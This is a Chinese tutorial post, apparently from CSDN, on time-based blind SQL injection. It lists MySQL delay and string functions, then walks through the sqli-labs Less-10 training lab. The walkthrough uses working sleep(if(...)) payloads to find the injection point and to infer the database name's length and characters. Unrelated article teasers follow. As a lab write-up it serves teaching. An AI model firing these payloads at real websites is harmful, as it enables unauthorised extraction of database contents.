当前位置: 首页 > news >正文

SQL Injection | SQL 注入 —— 时间盲注

关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客

0x01:时间盲注 —— 理论篇

时间盲注(Time-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会返回错误信息,只会回显一种界面的情况。

时间盲注的攻击原理:攻击者通过向 SQL 查询中注入特定的延时函数,使数据库的查询时间变长,从而根据页面响应时间的差异来推断攻击的结果是否成功。

0x0101:MySQL 时间盲注 — 相关函数

下面介绍一些对 MySQL 数据库进行时间盲注时的相关函数及其使用示例:

函数名函数解析用法示例
sleep()使当前会话(或连接)暂停指定的秒数select sleep(3);
benchmark()对一个表达式重复执行指定次数的计算select benchmark(10000, Now());
if(条件, 结果1, 结果2)条件正确,返回结果 1;否则,返回结果2select if(1=2, 3, 4);
mid(string,start_pos,count)从 start_pos 开始,截取 string 的 count 位字符。select mid('12',1,1);
substr(string,start_pos,count)从 start_pos 开始,截取 string 的 count 位字符。select substr('12',2,1);
left(string,count)从左侧截取 string 的前 count 位字符。select left('123',2);
length()返回字符串的长度select length('ni');
ord()获取字符对应的 ASCII 码值select ord('A');
ascii()获取字符对应的 ASCII 码值。select ascii('A');

0x02:时间盲注 —— 实战篇

本节重点在于熟悉时间盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-10 GET - Blind - Time based - Double Quotes,靶场的配套资源如下(附安装教程):

实验工具准备

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)

  • SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:SQLI LABS 靶场安装)

0x0201:第一阶段 — 判断注入点

6906f65ad3c641fc9571ed9f8c7c5de3.png

进入靶场,靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

7919ea02b21c4b4fb5631f55476b02df.png

如上,靶场返回了一段字符 You are in。似乎它是认可我们的操作了,但我们并没有从中获取什么有用的信息。

接下来,笔者又尝试给它传递了一个异常的值(字符串类型):

db3de93f88174b40a6dfbe13db46d46b.png

如上,靶场依旧返回了 You are in。我们明明传递的是不符合要求的值,结果它还是返回正常的结果,这个本身就有问题。

为了摸清楚靶场的底线,笔者这里又进行了一系列的测试:

 测试 Payload 1: ?id=1        结果: You are in测试 Payload 2: ?id=3-2      结果: You are in测试 Payload 3: ?id=1 a      结果: You are in测试 Payload 4: ?id=1a'      结果: You are in测试 Payload 5: ?id=1a"      结果: You are in测试 Payload 6: ?id=b'")(    结果: You are in

可以看到,这关就像是一个无底洞,你给它啥它都会回应你 You are in,你根本摸不透它。

此时,我们需要转变一下测试思路:You are in 是不是就是它的一个障眼法呢,其实它已经背着我们偷偷执行了 SQL 语句,但是由于一直都返回同样的结果,导致我们无法发现呢。

面对上面这种情况,我们就可以采用时间盲注的手段,来看看它有没有偷偷背着我们干坏事了:

知识拓展:如何查看浏览器响应包加载速度

打开浏览器,鼠标右击页面并选择 ”检查“,打开 ”开发者工具“:
 

cce88c2d0f8244e9a01c0e4534b33b67.jpeg

定位到 “网络(NetWork)” 菜单,并刷新当前页面,即可看到网页响应包的加载速度:
 

44ae7c493ae04026a434c0bf5c7b94fd.jpeg

 测试 Payload 1: ?id=1 and sleep(5) --+    结果: 24 ms 响应,失败测试 Payload 2: ?id=1' and sleep(5) --+   结果: 9 ms 响应,失败测试 Payload 3: ?id=1" and sleep(5) --+   结果: 5.02 s 响应,成功

8e4fccf8995941d2ab2393ead7b305ba.png

从上面的回显可以看出,它果然背着我们偷偷的执行了 SQL 语句,不过小动作还是被聪明的我们发现啦。

通过上面测试的 Payload,我们已经可以确定了,目标的 GET 型请求参数 id 处存在 SQL 注入漏洞,且注入模板如下:

 注入模板: ?id=1" and sleep(if(攻击语句,5,0)) --+"推测目标后端模板: select * from users where id="1" and sleep(if(攻击语句,5,0)) --+""笔者备注: if(攻击语句,5,0) 这么写的原因是,如果攻击成功则页面延时 5 秒返回,否则无延时返回(你失败的推测肯定比你正确的多,这么写可以加快点速度)。

0x0202:第二阶段 — 时间盲注漏洞利用

本节中,我们主要介绍如何通过时间盲注,来获取目标数据库内的真实信息,这里需要用到一些数据库的相关函数,不了解的可以去文章开头的函数表格中查询用法。

1. 猜测数据库名长度

要获取数据库的真实信息,我们就需要摸清当前数据库的结构。比如有哪些数据库,每个数据库下有哪些表,每张表中有哪些字段。

盲注中的服务器当然不会直接回显,所以我们就需要自己构造 SQL 语句去猜啦。首先猜测数据库名称的长度(知道长度后才好猜解每一位的内容):

 -- 猜测数据库名称长度为 1,若返回为 True,则证明猜测正确攻击 Payload 01: ?id=1" and sleep(if(length(database())=1,5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(length(database())=1,5,0)) --+""攻击结果: 9 ms 响应,失败​-- 猜测数据库名称长度为 2,若返回为 True,则证明猜测正确攻击 Payload 02: ?id=1" and sleep(if(length(database())=2,5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(length(database())=2,5,0)) --+""攻击结果: 10 ms 响应,失败​...​-- 猜测数据库名称长度为 8,若返回为 True,则证明猜测正确攻击 Payload 08: ?id=1" and sleep(if(length(database())=8,5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(length(database())=8,5,0)) --+""攻击结果: 5.01 s 响应,成功

158c7a2b66844a4caa254121382a31a0.png

如上,我们成功通过时间盲注(响应包延时)判断出了,目标当前使用的数据库的名称长度为 8。

2. 猜解数据库名称

知道了目标当前使用的数据库的名称的长度后,我们就可以一个字符一个字符的进行猜解了,Payload 如下:

 -- 猜测数据库的第一个字符为 'a',若返回为 True,则证明猜测正确攻击 Payload 01: ?id=1" and sleep(if(mid(database(),1,1)='a',5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(mid(database(),1,1)='a',5,0)) --+""攻击结果: 11 ms 响应,失败​-- 猜测数据库的第一个字符为 'b',若返回为 True,则证明猜测正确攻击 Payload 02: ?id=1" and sleep(if(mid(database(),1,1)='b',5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(mid(database(),1,1)='b',5,0)) --+""攻击结果: 7 ms 响应,失败​...​-- 猜测数据库的第一个字符为 's',若返回为 True,则证明猜测正确攻击 Payload 18: ?id=1" and sleep(if(mid(database(),1,1)='s',5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(mid(database(),1,1)='s',5,0)) --+""攻击结果: 5.02 s 响应,成功​...

aaa3dce5c36143d0a24d07f14e120882.jpeg

由于猜解需要的语句太多了,所以笔者在这里就不一一列举了(从上面的测试 Payload 中其实很好找到规律的)。

3. 时间盲注后续流程

时间盲注的后续流程已经没有啥特别的了,核心思想就在前面介绍的两步中了:

  1. 获取你想要知道的信息的长度。

  2. 通过截取的方式利用延时函数配合布尔表达式获取每一位字符的内容。

  3. 将获取的每一位字符进行拼接,最终得到你想要的内容。

所以笔者在这里就不花时间多讲解了,相信聪明如你,从上面的几个例子中,已经可以领略到时间盲注的核心思想了(时间盲注的利用手段其实跟 布尔盲注 很像,不了解的可以去看一看)。

 

相关文章:

SQL Injection | SQL 注入 —— 时间盲注

关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客 0x01:时间盲注 —— 理论篇 时间盲注(Time-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会返回错误信息,只会回…...

最新开发项目H5商城小程序源码系统 带源代码安装包以及搭建部署教程

系统概述 在当今数字化迅猛发展的时代,电子商务已成为企业拓展市场、提升品牌影响力的重要手段。H5商城小程序作为一种跨平台、轻量级的应用形式,凭借其无需下载安装、即用即走的特性,迅速赢得了广大用户的青睐。为了满足企业对高质量H5商城…...

5大绝招揭秘:Cursor如何让RESTful API开发效率提升300%?

5大绝招揭秘:Cursor如何让RESTful API开发效率提升300%? 在当今快速迭代的软件开发世界中,高效构建RESTful API已成为开发者的必备技能。今天,我们将为大家介绍一款强大的AI辅助工具——Cursor,它能让您的API开发事半功倍。 Cursor Compos…...

鸿蒙开发,在 ArkTS 中,如何使用 Column 实现垂直居中对齐

面向万物互联时代,华为提出了“一次开发多端部署、可分可合自由流转、统一生态原生智能”三大应用与服务开发理念。针对多设备、多入口、服务可分可合等特性,华为提供了多种能力协助开发者降低开发门槛。HarmonyOS基于JS/TS语言体系,构建了全…...

红日安全vulnstack (一)

目录 环境搭建 本机双网卡 Kali IP 靶机IP Web GetShell 前期信息收集 Yxcms后台模板 Getshell PHPMyAdmin日志 Getshell into outfile写入一句话 X phpmyadmin 日志写入一句话 后渗透 MSF 生成木马上线 提取用户hash值 **hash**加密方式 MSF权限Shell至CS CS …...

为什么SSH协议是安全的?

SSH的传输层协议(Transport Layer Protocol)和用户鉴权协议(Authentication Protocol)确保数据的传输安全,这里只介绍传输层协议,是SSH协议的基础。 本文针对SSH2协议。 1、客户端连接服务器 服务器默认…...

主键 外键

主键 外键 在关系型数据库中,主键(Primary Key)和外键(Foreign Key)是用于维护数据完整性和建立表之间关系的重要概念。 主键(Primary Key) 定义: 主键是一个或多个列的组合,其值能…...

G - Road Blocked 2

G - Road Blocked 2 思路 只有当一条边是从 1 1 1到 n n n的所有最短路构成的图的桥时,去掉这条边,最短路才会变大 所以就可以用最短路加tarjan解决这道题了 怎么判断一条边是否可以构成最短路呢,比如求 1 1 1到 n n n的最短路&#xff0…...

R语言绘制Venn图(文氏图、温氏图、维恩图、范氏图、韦恩图)

Venn图,又称文氏图,标题中其他名字也是它的别称,由封闭圆形组成,代表不同集合。圆形重叠部分表示集合交集,非重叠处为独有元素。在生物学、统计学等领域广泛应用,可展示不同数据集相似性与差异,…...

【Vue.js】vue2 项目在 Vscode 中使用 Ctrl + 鼠标左键跳转 @ 别名导入的 js 文件和 .vue 文件

js 文件跳转 需要安装插件 Vetur 然后需要我们在项目根目录下添加 jsconfig.json 配置,至于配置的作用,可以参考我的另外一篇博客: 【React 】react 创建项目配置 jsconfig.json 的作用 它主要用于配置 JavaScript 或 TypeScript 项目的根…...

NVM配置与Vue3+Vite项目快速搭建指南

本文目录 1、配置环境1.1 NVM1、nvm常用命令 1.2 Mac配置环境1、安装nvm 1.3 Window配置环境1、安装nvm 2、 项目搭建2.1 项目依赖2.2 安装依赖2.3 配置1、别名配置2、创建样式及图片文件夹3、路由 2.4 项目搭建效果2.5 项目结构 在当今快速发展的前端技术领域中,掌…...

面试“利器“——微学时光

大家好,我是程序员阿药。微学时光是一款专为计算机专业学生和IT行业求职者设计的面试刷题小程序,它汇集了丰富的计算机面试题和知识点,旨在帮助用户随时随地学习和复习,提高自身的技术能力和面试技巧。 主题 随时随地学习&#x…...

【Unity】【游戏开发】游戏引擎是如何模拟世界的

【核心感悟】 游戏引擎通过两个维度的合并来模拟这个时间。 一个维度叫物理模型。 一个维度叫视觉模型。 对于物理模型,我们需要用物理引擎给予行为。 对于视觉模型,我们需要用动画去给予行为。 物理模型是真实机制,视觉模型是艺术表现&…...

vscode配置conda虚拟环境【windows系统】

安装好anacondavscode里安装python插件 3.点击左侧插件 如图1,再2,再点击3小星星激活conda环境 最后下方栏就出现conda环境了。就可以用啦...

libgpiod在imx8平台交叉编译说明

如下记录是在 imx8上测试使用 参考博主的文章 iMX6ULL 库移植 | Libgpiod 库的交叉编译及使用指南(linux) 编译说明 1: build.sh代码如下所示,先执行 source build.sh,注意修改交叉编译工具链为自己本地的地址; 2:执行 ./autogen…...

无人机之自主飞行关键技术篇

无人机自主飞行指的是无人机利用先进的算法和传感器,实现自我导航、路径规划、环境感知和自动避障等能力。这种飞行模式大大提升了无人机的智能化水平和操作的自动化程度。 一、传感器技术 传感器是无人机实现自主飞行和数据采集的关键组件,主要包括&a…...

performance.timing

performance.timing 是 Web 性能 API 的一部分,用于获取页面加载过程中的各个时间戳。这些时间戳可以帮助开发者分析页面加载性能,找出潜在的瓶颈。performance.timing 返回一个 PerformanceTiming 对象,该对象包含了多个属性,每个…...

教你不用下载 maven,不用配置环境变量,在 idea 上创建 maven 项目

我的主页:2的n次方_ 1. Maven Maven是⼀个项⽬管理⼯具, 通过 pom.xml ⽂件的配置获取 jar 包,⽽不⽤⼿动去添加 jar 包,这样就大大的提高了开发效率 2. Maven 的核心功能 2.1. 项目构建 创建第一个 Maven 项目 Maven 提供了标准的…...

linux 设置tomcat开机启动

在Linux系统中,要配置Tomcat开机自启动,可以创建一个名为 tomcat.service 的 systemd 服务文件,并将其放置在 /etc/systemd/system/ 目录下。以下是一个基本的服务文件示例,假设Tomcat安装在 /usr/local/tomcat 路径下&#xff1a…...

opencv出错以及解决技巧

opencv配置 一开始&#xff0c;include的路径是<opencv4/opencv2/…> 这样在using namespace cv的时候导致了报错&#xff0c; 所以在cmakelist中需要对cmake的版本进行升级。 set(CMAKE_CXX_FLAGS “-stdc14 -O0 -Wall”)-O0 表示在编译过程中不进行任何优化 对应的pac…...

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

NFT模式:数字资产确权与链游经济系统构建

NFT模式&#xff1a;数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新&#xff1a;构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议&#xff1a;基于LayerZero协议实现以太坊、Solana等公链资产互通&#xff0c;通过零知…...

论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing

Muffin 论文 现有方法 CRADLE 和 LEMON&#xff0c;依赖模型推理阶段输出进行差分测试&#xff0c;但在训练阶段是不可行的&#xff0c;因为训练阶段直到最后才有固定输出&#xff0c;中间过程是不断变化的。API 库覆盖低&#xff0c;因为各个 API 都是在各种具体场景下使用。…...

android RelativeLayout布局

<?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"match_parent"android:gravity&…...

游戏开发中常见的战斗数值英文缩写对照表

游戏开发中常见的战斗数值英文缩写对照表 基础属性&#xff08;Basic Attributes&#xff09; 缩写英文全称中文释义常见使用场景HPHit Points / Health Points生命值角色生存状态MPMana Points / Magic Points魔法值技能释放资源SPStamina Points体力值动作消耗资源APAction…...

构建Docker镜像的Dockerfile文件详解

文章目录 前言Dockerfile 案例docker build1. 基本构建2. 指定 Dockerfile 路径3. 设置构建时变量4. 不使用缓存5. 删除中间容器6. 拉取最新基础镜像7. 静默输出完整示例 docker runDockerFile 入门syntax指定构造器FROM基础镜像RUN命令注释COPY复制ENV设置环境变量EXPOSE暴露端…...

Unity-ECS详解

今天我们来了解Unity最先进的技术——ECS架构&#xff08;EntityComponentSystem&#xff09;。 Unity官方下有源码&#xff0c;我们下载源码后来学习。 ECS 与OOP&#xff08;Object-Oriented Programming&#xff09;对应&#xff0c;ECS是一种完全不同的编程范式与数据架构…...

【学习记录】使用 Kali Linux 与 Hashcat 进行 WiFi 安全分析:合法的安全测试指南

文章目录 &#x1f4cc; 前言&#x1f9f0; 一、前期准备✅ 安装 Kali Linux✅ 获取支持监听模式的无线网卡 &#x1f6e0; 二、使用 Kali Linux 进行 WiFi 安全测试步骤 1&#xff1a;插入无线网卡并确认识别步骤 2&#xff1a;开启监听模式步骤 3&#xff1a;扫描附近的 WiFi…...

汇编语言学习(三)——DoxBox中debug的使用

目录 一、安装DoxBox&#xff0c;并下载汇编工具&#xff08;MASM文件&#xff09; 二、debug是什么 三、debug中的命令 一、安装DoxBox&#xff0c;并下载汇编工具&#xff08;MASM文件&#xff09; 链接&#xff1a; https://pan.baidu.com/s/1IbyJj-JIkl_oMOJmkKiaGQ?pw…...

如何在Spring Boot中使用注解动态切换实现

还在用冗长的if-else或switch语句管理多个服务实现? 相信不少Spring Boot开发者都遇到过这样的场景:需要根据不同条件动态选择不同的服务实现。 如果告诉你可以完全摆脱条件判断,让Spring自动选择合适的实现——只需要一个注解,你是否感兴趣? 本文将详细介绍这种优雅的…...